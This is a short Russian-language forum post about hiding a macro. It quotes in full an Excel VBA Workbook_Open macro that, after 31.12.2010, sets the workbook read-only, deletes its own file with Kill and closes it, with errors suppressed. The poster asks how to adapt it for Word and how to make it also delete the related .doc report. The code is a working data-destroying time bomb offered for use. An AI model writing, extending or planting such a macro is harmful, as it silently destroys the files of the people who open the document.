скрыть макрос макросом..

[npocmop]

Скрипт - супер, с огромной благодарностью Авторам!

Private Sub Workbook_Open()
ActiveWindow.DisplayWorkbookTabs = True
Application.StatusBar = " Срок использования - до 31.12.2010 "
If Date <= #12/31/2010# Then Exit Sub
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
On Error Resume Next
Kill .FullName
.Close False
End With
End Sub

Подскажите что подправить, чтобы он в отчетном ворде работал? Т.е. вордовый скрипт чем будет отличаться?

И как можно подправить текущий скрипт, чтобы после удаления расчетов в экселе, текстовый отчет *.doc тоже корова слизывала..